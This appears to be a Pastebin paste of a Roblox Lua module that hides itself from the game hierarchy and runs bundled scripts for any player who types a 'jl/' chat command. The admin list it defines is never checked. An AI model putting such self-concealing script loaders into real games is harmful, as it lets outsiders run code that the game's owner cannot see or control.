Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --CREDIT TO CRETERISK FOR THE MODULE BASE
- wait(0.5)
- local Module=script;
- getfenv().script=nil
- Module.Parent = nil
- local storage = game:service'ReplicatedStorage'
- local plrs = game:service'Players'
- local children = {}
- _G.IsRunning = false
- --local Usrs = setmetatable(19909695,65232538,65232538)
- local adminList={1}
- local IsRan = Module.Objects:FindFirstChild("IsRunning")
- IsRan.Parent = game.ReplicatedStorage
- local users = setmetatable(adminList,{__index=function(self,index)
- for _,c in next, self do
- if(c==tonumber(index))then
- return true
- end
- end
- return false
- end})
- for _,v in next, Module:children() do
- children[v.Name]=v:Clone();
- v:destroy()
- end
- function GetPlayer(name)
- for _,player in next, plrs:players() do
- if(player.Name:lower()==name:lower())then
- return player
- end
- end
- end
- function loadScript(scriptName,runner)
- local runner = typeof(runner)=='string' and GetPlayer(runner) or runner;
- for _,script in next, children.Scripts:children() do
- if(script.Name:lower()==scriptName:lower())then
- local sc = script:Clone()
- sc.Parent = runner.Character;
- if(sc:FindFirstChild'PlayerName')then sc:FindFirstChild'PlayerName'.Value = runner.Name end
- sc.Disabled=false
- end
- end
- end
- function connectPlayer(p)
- p.Chatted:connect(function(m)
- print(m)
- if(m:sub(1,3)=="/e ")then
- m=m:sub(4)
- end
- local getString="jl/" -- change this if you want
- if(m:sub(1,#getString)==getString)then
- loadScript(m:sub(#getString+1),p)
- end
- end)
- end
- for _, child in pairs(game.ReplicatedStorage:GetChildren()) do
- if child.Name == "IsRunning" and child.Value == true then
- warn("Module is already running.")
- return nil
- end
- end
- if _G.IsRunning == true then
- warn("Module is already running.")
- return nil
- end
- IsRan.Value = true
- _G.IsRunning = true
- for _,v in next, game:service'Players':players() do connectPlayer(v) end
- game:service'Players'.PlayerAdded:connect(connectPlayer)
- return nil;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement